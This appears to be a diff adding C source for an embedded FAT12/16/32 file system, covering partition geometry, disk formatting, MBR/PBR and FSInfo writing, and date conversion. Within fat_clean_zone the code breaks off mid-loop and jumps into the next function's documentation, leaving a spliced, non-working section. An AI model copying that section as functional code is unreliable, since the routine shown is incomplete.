u32_tmp * u8_sector_size; + + // Get total count of sectors in partition + if ( (0==LOW_16_BPB_TotSec16) && (0==HIGH_16_BPB_TotSec16) ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_TotSec32; + LSB1( u32_tmp ) = LOW1_32_BPB_TotSec32; + LSB2( u32_tmp ) = LOW2_32_BPB_TotSec32; + LSB3( u32_tmp ) = LOW3_32_BPB_TotSec32; + } + else + { + LSB0( u32_tmp ) = LOW_16_BPB_TotSec16; + LSB1( u32_tmp ) = HIGH_16_BPB_TotSec16; + LSB2( u32_tmp ) = 0; + LSB3( u32_tmp ) = 0; + } + u32_tmp *= u8_sector_size; // Translate from sector disk unit to sector 512B unit + + // Compute the offset (unit 512B) between the end of FAT (beginning of root dir in FAT1x) and the beginning of PBR + fs_g_nav.rootdir.seg.u16_pos = FS_NB_FAT * (uint16_t)fs_g_nav.u32_fat_size; + + // Compute the root directory size (unit sector), for FAT32 is always 0 + LSB( u16_tmp ) = LOW_16_BPB_RootEntCnt; + MSB( u16_tmp ) = HIGH_16_BPB_RootEntCnt; + fs_g_nav.rootdir.seg.u16_size = ((u16_tmp * FS_SIZE_FILE_ENTRY) + ((FS_512B*u8_sector_size)-1)) / (FS_512B*u8_sector_size); + fs_g_nav.rootdir.seg.u16_size *= u8_sector_size; + + // Get number of reserved sector + LSB( u16_tmp ) = LOW_16_BPB_ResvSecCnt; + MSB( u16_tmp ) = HIGH_16_BPB_ResvSecCnt; + // Get FSInfo position + fs_g_nav.u16_offset_FSInfo = (u16_tmp-LOW_16_BPB_FSInfo)*u8_sector_size; + u16_tmp *= u8_sector_size; // number of reserved sector translated in unit 512B + + // Compute the FAT address (unit 512B) + fs_g_nav.u32_ptr_fat = fs_gu32_addrsector + u16_tmp; + + // Compute the offset (unit 512B) between the first data cluster and the FAT beginning + fs_g_nav.u32_offset_data = (FS_NB_FAT * fs_g_nav.u32_fat_size) + (uint32_t)fs_g_nav.rootdir.seg.u16_size; + + // Compute the data region (clusters space = Total - Sector used) size (unit 512B) + u32_tmp -= ((uint32_t)u16_tmp + fs_g_nav.u32_offset_data); + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) + return false; + for( u8_tmp = fs_g_nav.u8_BPB_SecPerClus; u8_tmp!=1 ; u8_tmp >>= 1 ) + { + u32_tmp >>= 1; // This computation round down + } + fs_g_nav.u32_CountofCluster = u32_tmp+2; // The total of cluster include the two reserved clusters + + // Determine the FAT type + if (u32_tmp < FS_FAT12_MAX_CLUSTERS) + { + // Is FAT 12 +#if (FS_FAT_12 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + } else { + if (u32_tmp < FS_FAT16_MAX_CLUSTERS) + { + // Is FAT 16 +#if (FS_FAT_16 == DISABLED) + return FS_NO_SUPPORT_PART; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + } else { + // Is FAT 32 +#if (FS_FAT_32 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + // In FAT32, the root dir is like another directory, this one have a cluster list + // Get the first cluster number of root + LSB0( fs_g_nav.rootdir.u32_cluster ) = LOW0_32_BPB_RootClus; + LSB1( fs_g_nav.rootdir.u32_cluster ) = LOW1_32_BPB_RootClus; + LSB2( fs_g_nav.rootdir.u32_cluster ) = LOW2_32_BPB_RootClus; + LSB3( fs_g_nav.rootdir.u32_cluster ) = LOW3_32_BPB_RootClus; + } + } + + return true; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + +//! \name Global variable to optimize the footprint of format routines +_MEM_TYPE_SLOW_ uint32_t fs_s_u32_size_partition; + +//! This function formats the current drive +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module choose the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG if you don't want a MRB in disk then add this flag (e.g. FAT format on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun indicate the drive to format +//! +//! This routine can't format a multi-partiton, if the disk contains a multi-partition area +//! then the multi-partition will be erased and replaced by a single partition on all disk space. +//! @endverbatim +//! +Bool fat_format( uint8_t u8_fat_type ) +{ + Bool b_MBR; +#if (FS_MULTI_PARTITION == ENABLED) +#error NOT SUPPORTED + fs_g_nav.u8_partition = 0; +#endif + + + // Get drive capacity (= last LBA) + mem_read_capacity( fs_g_nav.u8_lun , &fs_s_u32_size_partition ); + + if( u8_fat_type & FS_FORMAT_NOMBR_FLAG ) + { + b_MBR = false; + u8_fat_type &= ~FS_FORMAT_NOMBR_FLAG; + // partition size = disk size = last LBA + 1 + fs_s_u32_size_partition++; + }else{ + b_MBR = true; + // partition size = size disk -1 = last LBA + } + + // Compute the FAT type for the device + if( !fat_select_filesystem( u8_fat_type , b_MBR )) + return false; + + // Write the MBR sector (first sector) + if( b_MBR ) + if( !fat_write_MBR()) + return false; + + // Write the PBR sector + if( !fat_write_PBR( b_MBR )) + return false; + + // Clear reserved zone, FAT zone, and Root dir zone + // Remark: the reserved zone of FAT32 isn't initialized, because BPB_FSInfo is equal to 0 + if( !fat_clean_zone( b_MBR )) + return false; + + // Initialization of the FAT 1 and 2 + if( !fat_initialize_fat()) + return false; + + return fat_cache_flush(); +} + + + +//! \name Struture for the tables format +typedef struct st_fs_format_table { + uint32_t u32_disk_size; + uint8_t u8_SecPerClusVal; +} Fs_format_table; + + +//! Table format for FAT12 +_CONST_TYPE_ Fs_format_table TableFAT12[] = { + { 4096, 1}, // disks up to 2 MB, 512 bytes cluster + { 8192, 2}, // disks up to 4 MB, 1k cluster + { 16384, 4}, // disks up to 8 MB, 2k cluster + { 32680, 8}, // disks up to 16 MB, 4k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 16 MB even though typically +only the entries for disks < 16 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. +*/ + + +//! Table format for FAT16 +_CONST_TYPE_ Fs_format_table TableFAT16[] = { + { 8400, 0}, // disks up to 4.1 MB, the 0 value for SecPerClusVal trips an error + { 32680, 2}, // disks up to 16 MB, 1k cluster + { 262144, 4}, // disks up to 128 MB, 2k cluster + { 524288, 8}, // disks up to 256 MB, 4k cluster + { 1048576, 16}, // disks up to 512 MB, 8k cluster + // The entries after this point are not used unless FAT16 is forced + { 2097152, 32}, // disks up to 1 GB, 16k cluster + { 4194304, 64}, // disks up to 2 GB, 32k cluster + { 0xFFFFFFFF, 0} // any disk greater than 2GB, 0 value for SecPerClusVal trips an error +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 512 MB even though typically +only the entries for disks < 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. Any of these values +being different may require the first table entries DiskSize value +to be changed otherwise the cluster count may be to low for FAT16. +*/ + + +//! Table format for FAT32 +_CONST_TYPE_ Fs_format_table TableFAT32[] = { + { 66600, 0}, // disks up to 32.5 MB, the 0 value for SecPerClusVal trips an error + { 532480, 1}, // disks up to 260 MB, .5k cluster + { 16777216, 8}, // disks up to 8 GB, 4k cluster + { 33554432, 16}, // disks up to 16 GB, 8k cluster + { 67108864, 32}, // disks up to 32 GB, 16k cluster + { 0xFFFFFFFF, 64} // disks greater than 32GB, 32k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes smaller than 512 MB even though typically +only the entries for disks >= 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 32, and BPB_NumFATs +must be 2. Any of these values being different may require the first +table entries DiskSize value to be changed otherwise the cluster count +may be to low for FAT32. +*/ + + +//! \name Sub routines used by format routine +//! @{ + +//! This function computes the FAT type to use +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module chooses the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Compute the fat type, fat position and fat size. +//! @endverbatim +//! +Bool fat_select_filesystem( uint8_t u8_fat_type , Bool b_MBR ) +{ + uint8_t u8_i; + uint8_t u8_tmp = 0; + uint16_t u16_tmp, u16_tmp2; + Fs_format_table _CONST_TYPE_ *ptr_table; + + if( (FS_FORMAT_FAT != u8_fat_type ) + && (FS_FORMAT_FAT32 != u8_fat_type ) ) + { + // Default format then select the better FAT type + if( (((uint32_t)512*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + u8_fat_type = FS_FORMAT_FAT; + } else { + u8_fat_type = FS_FORMAT_FAT32; + } + } + + //** Verify the FAT type choosed + if(FS_FORMAT_FAT == u8_fat_type ) + { + if( (((uint32_t)2*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + fs_g_status = FS_ERR_DEVICE_TOO_SMALL; // The disk size is not supported + return false; + } + if( (((uint32_t)15*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + // FAT 12 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + u8_i = sizeof(TableFAT12); + ptr_table = TableFAT12; + }else{ + // FAT 16 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + u8_i = sizeof(TableFAT16); + ptr_table = TableFAT16; + } + } + else + { // FAT 32 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + u8_i = sizeof(TableFAT32); + ptr_table = TableFAT32; + } + for( ; u8_i!=0 ; u8_i-- ) + { + if( fs_s_u32_size_partition <= ptr_table->u32_disk_size ) + { + // Get cluster size (unit sector) + fs_g_nav.u8_BPB_SecPerClus = ptr_table->u8_SecPerClusVal; + break; + } + ptr_table++; + } + if(0 == fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by selected FAT type + return false; + } + + //** Compute fat size + // Compute PBR address + if( b_MBR ) + fs_g_nav.u32_ptr_fat = 1; // MBR exist + else + fs_g_nav.u32_ptr_fat = 0; // no MBR + + if( Is_fat12 ) + { // FAT 12 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + 1 + // Try all possibility of FAT12 size + fs_g_nav.u32_fat_size=1; + while(1) + { + if( 12 < fs_g_nav.u32_fat_size) // Max FAT size in FAT12 mode (unit sector) (=0xFFE*1.5/FS_512B) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by file system selected + return false; + } + // Check if the number of cluster corresponding at data zone size + // Note: -1 to not compute PBR sector + u16_tmp = ((fs_s_u32_size_partition -1 - (fs_g_nav.u32_fat_size *2)) / fs_g_nav.u8_BPB_SecPerClus)+2; + u16_tmp2 = (fs_g_nav.u32_fat_size *FS_512B *2) / 3; + if( u16_tmp <= u16_tmp2 ) + break; // FAT size OK + + fs_g_nav.u32_fat_size++; + } + } + else + { + if( Is_fat32 ) + { // FAT 32 + fs_g_nav.u32_ptr_fat += 32; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec; + // = (FS_512B-1) / FS_512B = 0 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (32 + 0) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 32; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = ((((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2) >> 1; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // = u16_tmp + u16_tmp = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // BPB_FATSz16 = 0; + // BPB_FATSz32 = FATSz; + } + if( Is_fat16 ) + { // FAT 16 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec + // = ((512 * 32) + (FS_512B-1)) / FS_512B + // = 32 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (1 + 32) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 33; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2; + // = u16_tmp + MSB(u16_tmp) = fs_g_nav.u8_BPB_SecPerClus; + LSB(u16_tmp) = 2; + } + // FATSz = (TMPVal1 + TmpVal2 - 1) / TmpVal2; + fs_g_nav.u32_fat_size = (fs_s_u32_size_partition -u8_tmp +u16_tmp -1) / u16_tmp; + } + + return true; +} + + +//! This function writes the MBR +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_MBR( void ) +{ + uint8_t u8_i = 0; + + // Init and reset the internal cache at the beginning of memory + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // MBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // Write the partition entry in the MBR + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +0] = FS_PART_NO_BOOTABLE; // Active partition + // Remark: cylinder and header start to 0, and sector value start to 1 + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +1] = 0; // The head (0) where the partition starts + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +2] = 2; // The sector (2=next to MBR) and the cylinder (0) where the partition starts + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +3] = 0; + + // Write patition type + if( Is_fat32 ) + { // FAT 32 + u8_i = FS_PART_TYPE_FAT32; + } + if( Is_fat16 ) + { // FAT 16 + if( fs_s_u32_size_partition < (32L*1024*(1024/FS_512B)) ) + { // Disk < 32MB + u8_i = FS_PART_TYPE_FAT16_INF32M; + }else{ + u8_i = FS_PART_TYPE_FAT16_SUP32M; + } + } + if( Is_fat12 ) + { // FAT 12 + u8_i = FS_PART_TYPE_FAT12; + } + + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +4] = u8_i; + + // The head where the partitions ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +5] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + // The sector and the cylinder where the partition ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +6] = (LSB1(fs_s_u32_size_partition)&0xC0) + (LSB0(fs_s_u32_size_partition)&0x3F); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +7] = LSB2(fs_s_u32_size_partition); + + // Write partition position (in sectors) at offset 8 + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 8] = 0x01; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 9] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+10] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+11] = 0x00; + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+12] = LSB0(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+13] = LSB1(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+14] = LSB2(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+15] = LSB3(fs_s_u32_size_partition); + + return true; +} + +//! \name Constante for fat_write_PBR() routine +_CONST_TYPE_ uint8_t const_header_pbr[] = { + 0xEB,0,0x90, // offset 00-02, Add jump boot flag + 'M','S','W','I','N','4','.','1', // offset 03-11, No add OEM name + FS_512B & 0xFF, FS_512B >>8, // offset 11-12, Add byte per sector + 0, // offset 13-13, Add sector by cluster + 0,0, // offset 14-15, Add Number of reserved sector (see next step for optimization test) + 2, // offset 16-16, Add Number of FAT + 0,0, // offset 17-18, Add Number of root entry (FAT32 = 0 entry, FAT16 = 512 entrys) + 0,0, + FS_PART_NO_REMOVE_MEDIA, // offset 21-21, Media byte + 0,0, + 0x3F,0, // offset 24-25, Sector per track (must be egal to MBR information, also maximum sector per head = 0x3F = 6bits) + 0,0, // offset 26-27, Number of header + 1 // offset 28-31, Number of hidden setors + }; +_CONST_TYPE_ uint8_t const_tail_pbr[] = { // offset 36 on FAT 16, offset 64 on FAT 32 + FS_PART_HARD_DISK, // Driver number + 0, // Reserved (used by Windows NT) + FS_BOOT_SIGN, // Extended boot signature + 0,0,0,0, // volume ID + 'N','O',' ','N','A','M','E',' ',' ',' ',' ', // volume label (11 characters); + 'F','A','T',' ',' ',' ',' ',' ', // FAT type in ASCII (8 characters); + }; + + +//! \name Constante of "FAT32 FSInfo Sector" +//! @{ +_CONST_TYPE_ uint8_t const_FSI_LeadSig[] = { + 0x52,0x52,0x61,0x41 //! offset 00-04, This lead signature +}; +_CONST_TYPE_ uint8_t const_FSI_StrucSig[] = { + 0x72,0x72,0x41,0x61 //! offset 484-487, signature +}; +//! @} + + +//! This function writes the PBR +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_PBR( Bool b_MBR ) +{ + uint16_t u16_tmp; + + //** Init the cache sector with PBR + if( b_MBR ) + fs_gu32_addrsector = 1; + else + fs_gu32_addrsector = 0; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + //** WRITE CONSTANTE & VARIABLE FOR FAT and FAT32 + memcpy_code2ram( fs_g_sector, const_header_pbr , sizeof(const_header_pbr) ); + // PBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // offset 13-13, Add sector by cluster + fs_g_sector[13] = fs_g_nav.u8_BPB_SecPerClus; + // offset 26-27, Number of header + fs_g_sector[26] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + + //** WRITE CONSTANTE & VARIABLE DEPENDING OF FAT16 and FAT32 + // Since offset 36, there are a different structure space for FAT16 and FAT32 + // offset 39-42 or 67-70, Volume ID not used + // offset 43-53 or 71-81, Volume Label + // offset 54-61 or 82-89, File system type + if( Is_fat32 ) + { + memcpy_code2ram( &fs_g_sector[64], const_tail_pbr, sizeof(const_tail_pbr) ); + }else{ + memcpy_code2ram( &fs_g_sector[36], const_tail_pbr, sizeof(const_tail_pbr) ); + } + + u16_tmp = (uint16_t)fs_g_nav.u32_fat_size; // save value in fast data space to optimize code + if( Is_fat32 ) + { + // offset 14-15, Add Number of reserved sector, FAT32 = 32 sectors + fs_g_sector[14] = 32; + // offset 17-18, Add Number of root entry, FAT32 = 0 entry + // offset 36-39, Fat size 32bits + LOW0_32_BPB_FATSz32 = LSB(u16_tmp); + LOW1_32_BPB_FATSz32 = MSB(u16_tmp); + // offset 40-41, Ext flags (all FAT are enabled = 0) + // offset 42-43, Fs version (version0:0 = 0) + // offset 44-47, Root Cluster (first free cluster = 2) + fs_g_sector[44]= 2; + // offset 48-49, Fs Info (usualy 1) + fs_g_sector[48]= 1; + // offset 50-51, Backup Boot Sector (usualy 6) + // fs_g_sector[50]= 0; + // offset 52-63, reserved space + // offset 54-61, File system type + fs_g_sector[85]='3'; + fs_g_sector[86]='2'; + // Update FSInfo position + fs_g_nav.u16_offset_FSInfo = (32-1); + } + else + { + // FAT 12 or 16 + // offset 14-15, Add Number of reserved sector, FAT = 1 sector + fs_g_sector[14] = 1; + // offset 17-18, Add Number of root entry, FAT = 512 entrys + //fs_g_sector[17] = 512&0xFF; + fs_g_sector[18] = 512>>8; + + // offset 22-23, Fat size 16bits + LOW_16_BPB_FATSz16 = LSB(u16_tmp); + HIGH_16_BPB_FATSz16 = MSB(u16_tmp); + // offset 54-61, File system type + fs_g_sector[57]='1'; + if( Is_fat12 ) + { + fs_g_sector[58]='2'; + }else{ + fs_g_sector[58]='6'; + } + } + + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + if( ( Is_fat32 ) + || ((0x10000-1) <= fs_s_u32_size_partition) ) + { + // FAT32 or disk > 32MB + // offset 32-35, Number of sector in partition (value 32 bits) + fs_g_sector[32] = LSB0(fs_s_u32_size_partition); + fs_g_sector[33] = LSB1(fs_s_u32_size_partition); + fs_g_sector[34] = LSB2(fs_s_u32_size_partition); + fs_g_sector[35] = LSB3(fs_s_u32_size_partition); + } + else + { + // offset 19-20, Number of sector in partition (value 16 bits) + fs_g_sector[19] = LSB0(fs_s_u32_size_partition); + fs_g_sector[20] = LSB1(fs_s_u32_size_partition); + } + + if( Is_fat32 ) + { + // Init the FAT32 FSInfo Sector + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + return true; +} +//! @} + +#ifdef FS_FAT_32 +//! This function writes the space free number in selected FAT32 partition +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_ERR_HW_NO_PRESENT Device not present +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_fat32_FSInfo( uint32_t u32_nb_free_cluster ) +{ + // Init sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // Fill sector + // offset 00-04, This lead signature + memcpy_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) ); + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + memcpy_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig) ); + // offset 488-491, free cluster count (by default NO value) + fs_g_sector[488] = LSB0(u32_nb_free_cluster); + fs_g_sector[489] = LSB1(u32_nb_free_cluster); + fs_g_sector[490] = LSB2(u32_nb_free_cluster); + fs_g_sector[491] = LSB3(u32_nb_free_cluster); + // offset 492-495, indicates the cluster number at which the driver should start looking for free clusters (by default NO value) + memset( &fs_g_sector[492] , 0xFF , 4 ); + // offset 496-509, reserved (fill with 0) + // offset 510-511, Signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + return true; +} + + +//! This function returns the space free in the selected FAT32 partition +//! +//! @return the number of sector free (if 0xFFFFFFFF, then no value available in FSInfo Sector) +//! +uint32_t fat_read_fat32_FSInfo( void ) +{ + uint32_t u32_nb_free_cluster; + + // Read FAT32 FSInfo Sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + if( !fat_cache_read_sector( true )) + return 0xFFFFFFFF; + + //* Check signature + // offset 510-511, Signature + if( fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + return 0xFFFFFFFF; + if( fs_g_sector[511] != FS_BR_SIGNATURE_HIGH) + return 0xFFFFFFFF; + // offset 00-04, This lead signature + if( 0 != memcmp_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) )) + return 0xFFFFFFFF; + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + if( 0 != memcmp_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig)) ) + return 0xFFFFFFFF; + + //* Read value + // offset 488-491, free cluster count + LSB0(u32_nb_free_cluster) = fs_g_sector[488]; + LSB1(u32_nb_free_cluster) = fs_g_sector[489]; + LSB2(u32_nb_free_cluster) = fs_g_sector[490]; + LSB3(u32_nb_free_cluster) = fs_g_sector[491]; + return u32_nb_free_cluster; +} +#endif // FS_FAT_32 + + +//! This function cleans the reserved zone, FAT zone, and root dir zone +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_clean_zone( Bool b_MBR ) +{ + uint16_t u16_nb_sector_clean, u16_i; + _MEM_TYPE_SLOW_ uint8_t *ptr; + + // Flush the internal cache before clear the cache + if( !fat_cache_flush()) + return false; + fat_cache_clear(); + + // remark: these zones are stored after the PBR and are continues + // Start after PBR + if( b_MBR ) + { + fs_gu32_addrsector = 2; // Jump MBR and PBR + }else{ + fs_gu32_addrsector = 1; // Jump only a PBR (no MBR create) + } + + // Compute reserved zone size and root size + if( Is_fat32 ) + { // FAT 32 + fs_gu32_addrsector++; // Jump FAT32 FSInfo Sector + // root size = cluster size AND reserved zone = 32 - 2 (2 = PBR + FSInfo) + u16_nb_sector_clean = fs_g_nav.u8_BPB_SecPerClus + 30; + } + else + { // FAT 12 or 16 + // root size = 512 entrys = 32 sectors AND reserved zone = 1 - 1(PBR) + u16_nb_sector_clean = 32; + } + u16_nb_sector_clean += ((uint16_t)fs_g_nav.u32_fat_size*2); // Add FAT size + + // loop to clean + for( ; u16_nb_sector_clean!=0; u16_nb_sector_clean-- ) + { + // To improve the format time + // We check if the sector is clean (0x00) instead of write a clean sector. + if( !fat_cache_read_sector( true )) + return false; + ptr = fs_g_sector; + for( u16_i=0; u16_i +//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +void fat_get_date( FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date FAT value to ascii string +//! +//! @param sz_date table to store the date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +void fat_translatedate_number_to_ascii( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + FS_STRING ptr_string_date; + uint8_t u8_i; + uint8_t msb_date, lsb_date, msb_time, lsb_time, u8_ms = 0; + + // Read entry value of date and time + if( enable_ms ) + { + u8_ms = *ptr_date; + ptr_date++; + } + lsb_time = *ptr_date; + ptr_date++; + msb_time = *ptr_date; + ptr_date++; + lsb_date = *ptr_date; + ptr_date++; + msb_date = *ptr_date; + + // Initialise the string with "1980000000000000" (Year = 1980 and other at 0) + ptr_string_date = sz_date; + *ptr_string_date = '1'; + ptr_string_date++; + *ptr_string_date = '9'; + ptr_string_date++; + *ptr_string_date = '8'; + ptr_string_date++; + for( u8_i=(15-2) ; u8_i!=0 ; u8_i-- ) + { + *ptr_string_date = '0'; + ptr_string_date++; + } + + // Get the year + fat_translate_number_to_ascii( sz_date, 4 , msb_date>>1 ); + + // Get the month + fat_translate_number_to_ascii( &sz_date[4] , 2 , ((msb_date & 0x01)<<3) + (lsb_date>>5) ); + + // Get the day + fat_translate_number_to_ascii( &sz_date[6] , 2 , lsb_date & 0x1F ); + + // Get the hour + fat_translate_number_to_ascii( &sz_date[8] , 2 , msb_time >> (11-8) ); + + // Get the minute + fat_translate_number_to_ascii( &sz_date[10] , 2 , ((msb_time & 0x07)<<3) + (lsb_time>>5) ); + + // Get the seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , (lsb_time & 0x1F)<<1 ); + if( 99 < u8_ms ) + { + // Add one seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , 1 ); + u8_ms -= 100; + } + + // Get the miliseconde + fat_translate_number_to_ascii( &sz_date[14] , 2 , u8_ms ); +} + + +//! This function translates a digital number to a ASCII number +//! +//! @param sz_ascii_number ascii string to increment (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! @param u8_nb_increment number to add (ex:"102") +//! +//! @verbatim +//! OUT, Update sz_ascii_number (ex:"2009") +//! @endverbatim +//! +void fat_translate_number_to_ascii( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ) +{ + FS_STRING ptr_sz_ascii_number; + + u8_size_number_ascii--; + + for( ; u8_nb_increment != 0 ; u8_nb_increment-- ) + { + ptr_sz_ascii_number = sz_ascii_number + u8_size_number_ascii; + ptr_sz_ascii_number[0]++; + while( ('9'+1) == *ptr_sz_ascii_number ) + { + *ptr_sz_ascii_number = '0'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]++; + } + } +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This 